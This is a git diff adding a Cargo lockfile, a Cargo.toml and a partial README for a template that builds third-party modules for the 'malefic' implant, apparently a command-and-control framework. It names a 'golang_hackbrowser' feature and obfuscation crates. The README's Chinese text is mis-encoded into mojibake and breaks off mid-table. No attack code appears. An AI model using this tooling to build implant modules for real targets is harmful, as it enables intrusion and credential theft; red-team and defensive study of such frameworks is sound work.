"1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "indexmap" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "libc" +version = "0.2.174" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link 0.2.1", +] + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" + +[[package]] +name = "malefic-3rd-c" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-ffi" +version = "0.1.0" +dependencies = [ + "malefic-proto", + "malefic-runtime", + "prost", +] + +[[package]] +name = "malefic-3rd-go" +version = "0.1.0" +dependencies = [ + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-nim" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-rust" +version = "0.1.0" +dependencies = [ + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-3rd-template" +version = "0.1.0" +dependencies = [ + "bytes", + "crypto-common", + "futures", + "futures-channel", + "getrandom 0.2.16", + "hashbrown", + "libloading", + "malefic-3rd-c", + "malefic-3rd-go", + "malefic-3rd-nim", + "malefic-3rd-rust", + "malefic-3rd-zig", + "malefic-common", + "malefic-module", + "malefic-proto", + "malefic-runtime", + "tokio", +] + +[[package]] +name = "malefic-3rd-zig" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-3rd-ffi", +] + +[[package]] +name = "malefic-common" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-timer", + "libc", + "malefic-obfuscate", + "nanorand", + "thiserror", + "tokio", +] + +[[package]] +name = "malefic-crypto" +version = "0.1.0" +dependencies = [ + "aes", + "cfg-if", + "ctr", + "snap", + "thiserror", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand", + "syn", +] + +[[package]] +name = "malefic-module" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "malefic-proto", + "thiserror", +] + +[[package]] +name = "malefic-obfuscate" +version = "0.1.0" +dependencies = [ + "aes", + "ctr", + "libc", + "malefic-macro", + "nanorand", + "windows", +] + +[[package]] +name = "malefic-proto" +version = "0.1.0" +dependencies = [ + "anyhow", + "cfg-if", + "malefic-common", + "malefic-crypto", + "malefic-macro", + "malefic-obfuscate", + "nanorand", + "prost", + "prost-build", + "thiserror", +] + +[[package]] +name = "malefic-runtime" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-module", + "malefic-proto", + "prost", +] + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "petgraph" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3672b37090dbd86368a4145bc067582552b29c27377cad4e0a306c97f9bd7772" +dependencies = [ + "fixedbitset", + "indexmap", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "heck", + "itertools", + "log", + "multimap", + "once_cell", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "prost-types" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.16", +] + +[[package]] +name = "regex" +version = "1.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b5288124840bee7b386bc413c487869b360b2b4ec421ea56425128692f2a82c" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "833eb9ce86d40ef33cb1306d8accf7bc8ec2bfea4355cbdebb3df68b40925cad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "rustix" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.60.2", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589" + +[[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] +name = "syn" +version = "2.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1" +dependencies = [ + "fastrand", + "getrandom 0.3.3", + "once_cell", + "rustix", + "windows-sys 0.59.0", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "tokio" +version = "1.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27ad5e34374e03cfffefc301becb44e9dc3c17584f414349ebe29ed26661822d" +dependencies = [ + "pin-project-lite", + "tokio-macros", +] + +[[package]] +name = "tokio-macros" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c55a2eff8b69ce66c84f85e1da1c233edc36ceb85a2058d11b0d6a3c7e7569c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.3", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" +dependencies = [ + "windows-link 0.1.3", + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags", +] + +[[package]] +name = "zerocopy" +version = "0.8.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efbb2a062be311f2ba113ce66f697a4dc589f85e78a4aea276200804cea0ed87" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e8bc7269b54418e7aeeef514aa68f8690b8c0489a06b0136e5f57c4c5ccab89" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/malefic-3rd-template/Cargo.toml b/malefic-3rd-template/Cargo.toml new file mode 100644 index 0000000..4dc2fe9 --- /dev/null +++ b/malefic-3rd-template/Cargo.toml @@ -0,0 +1,78 @@ +[workspace] +members = [ + ".", + "malefic-3rd-rust", + "malefic-3rd-go", + "malefic-3rd-c", + "malefic-3rd-zig", + "malefic-3rd-nim", +] + +[workspace.dependencies] +malefic-proto = { git = "https://github.com/chainreactors/malefic", branch = "crates" } +malefic-module = { git = "https://github.com/chainreactors/malefic", branch = "crates" } +malefic-runtime = { git = "https://github.com/chainreactors/malefic", branch = "crates", default-features = false } +malefic-common = { git = "https://github.com/chainreactors/malefic", branch = "crates", default-features = false, features = ["random_nanorand"] } + +futures = "0.3.31" +prost = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } + +# Pin transitive deps to versions compatible with Rust 1.74 (avoid edition 2024 crates) +crypto-common = "=0.1.6" +bytes = "=1.10.1" +hashbrown = "=0.15.5" +getrandom = "=0.2.16" + +[package] +name = "malefic-3rd-template" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd" +path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] + +[features] +default = ["as_cdylib", "full"] +as_cdylib = [] + +full = ["rust_module", "golang_module", "c_module", "zig_module", "nim_module"] + +rust_module = ["malefic-3rd-rust"] +golang_module = ["malefic-3rd-go"] +golang_hackbrowser = ["malefic-3rd-go/go_hackbrowser"] +c_module = ["malefic-3rd-c"] +zig_module = ["malefic-3rd-zig"] +nim_module = ["malefic-3rd-nim"] + +[dependencies] +malefic-runtime = { workspace = true } +malefic-3rd-rust = { path = "malefic-3rd-rust", optional = true } +malefic-3rd-go = { path = "malefic-3rd-go", optional = true } +malefic-3rd-c = { path = "malefic-3rd-c", optional = true } +malefic-3rd-zig = { path = "malefic-3rd-zig", optional = true } +malefic-3rd-nim = { path = "malefic-3rd-nim", optional = true } + +# Pin transitive deps +crypto-common = { workspace = true } +bytes = { workspace = true } +hashbrown = { workspace = true } +getrandom = { workspace = true } + +[dev-dependencies] +libloading = "0.8" +malefic-runtime = { workspace = true, features = ["host", "tokio"] } +malefic-module = { workspace = true } +malefic-proto = { workspace = true } +malefic-common = { workspace = true, features = ["tokio"] } +futures = { workspace = true } +futures-channel = "0.3" +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[profile.release] +panic = "abort" +opt-level = "z" +strip = true +lto = "fat" +codegen-units = 1 diff --git a/malefic-3rd-template/README.md b/malefic-3rd-template/README.md new file mode 100644 index 0000000..21eca80 --- /dev/null +++ b/malefic-3rd-template/README.md @@ -0,0 +1,242 @@ +# Malefic 3rd Party Module Template + +用于创建 malefic implant 第三方模å—的模æ¿é¡¹ç›®ï¼Œæ”¯æŒ **Rust / Go / C / Zig / Nim** 五ç§è¯­è¨€ç¼–写模å—。 + +Malefic 本体采用最å°åŒ–ä¾èµ–设计,所有需è¦å¼•入第三方库的 module 都在 3rd 中实现。官方维护的公开 3rd module è§ [malefic-3rd](https://github.com/chainreactors/malefic/tree/master/malefic-3rd)。 + +## 项目结构 + +``` +malefic-3rd-template/ +├── Cargo.toml # Workspace æ ¹ + cdylib å…¥å£ +├── src/lib.rs # æ¨¡å—æ³¨å†Œå…¥å£ (rt_* C ABI 导出) +├── malefic-3rd-ffi/ # 共享 FFI 工具库 +│ └── src/lib.rs # HandlerFn, ffi_handler_loop, RtModule re-exports +├── malefic-3rd-rust/ # Rust æ¨¡å— +├── malefic-3rd-go/ # Go æ¨¡å— (åŒå‘æµå¼ FFI) +├── malefic-3rd-c/ # C æ¨¡å— (nanopb + åŒæ­¥ handler) +├── malefic-3rd-zig/ # Zig æ¨¡å— (nanopb + åŒæ­¥ handler) +├── malefic-3rd-nim/ # Nim æ¨¡å— (nanopb + åŒæ­¥ handler) +└── tests/test_load_dll.rs # é›†æˆæµ‹è¯• (动æ€åŠ è½½ DLL 验è¯) +``` + +## Runtime åè®® + +3rd-party 模å—通过 `malefic-runtime` çš„ **C ABI åè®®**导出,解决了跨 Rust 版本/target çš„ ABI 兼容性问题。 + +### DLL 导出(7 个 `extern "C"` 函数) + +| 导出函数 | ç­¾å | 说明 | +|----------|------|------| +| `rt_abi_version` | `() -> u32` | 返回 ABI 版本å·ï¼ˆå½“å‰ä¸º 2) | +| `rt_module_count` | `() -> u32` | æ¨¡å—æ•°é‡ | +| `rt_module_name` | `(index: u32) -> RtBuffer` | 第 i 个模å—çš„åç§° | +| `rt_module_create` | `(name, len) -> *mut Handle` | 创建模å—实例 | +| `rt_module_destroy` | `(handle)` | é”€æ¯æ¨¡å—实例 | +| `rt_module_run` | `(handle, task_id, ctx, send, recv, try_recv, free, out) -> Status` | 执行模å—(阻塞) | +| `rt_free` | `(buf)` | 释放模å—侧分é…çš„ buffer | + +### æ•°æ®é“¾è·¯ + +``` +┌─────────────────── Implant (Host) ───────────────────┠+│ │ +│ Server Command → Scheduler → module.run(channel) │ +│ ↓ ↓ │ +│ async Input ──→ input_forwarder ──→ std::sync::mpsc │ +│ channel (encode Body Sender ─────────────→ bridge_recv() ──→ ch.recv() +│ → Spite bytes) │ ↓ +│ │ ┌─── Module DLL ──────────┠+│ async Output â†â”€â”€ output_forwarder â†â”€â”€ std::sync::mpsc│ │ │ +│ channel (decode Spite Receiver â†â”€â”€â”€â”€â”€â”€â”€â”€â”€â”€ bridge_send() â†â”€â”€ ch.send() +│ → TaskResult) │ │ │ +│ ↓ │ │ RtModule::run(ch) │ +│ Collector → encrypt → send to Server │ │ ch.recv() → å¤„ç† â”‚ +│ │ │ ch.send() → å“应 │ +│ æ¯ä¸ª module 在独立的 spawn_blocking 线程中è¿è¡Œ │ │ return Done(body) │ +│ ä¸é˜»å¡žä¸» async è¿è¡Œæ—¶ │ └─────────────────────────┘ +└───────────────────────────────────────────────────────┘ +``` + +### 支æŒçš„æ•°æ®æµæ¨¡å¼ + +| æ¨¡å¼ | æè¿° | 示例 | +|------|------|------| +| **请求-å“应** | recv 一次, return Done | pwd, cat | +| 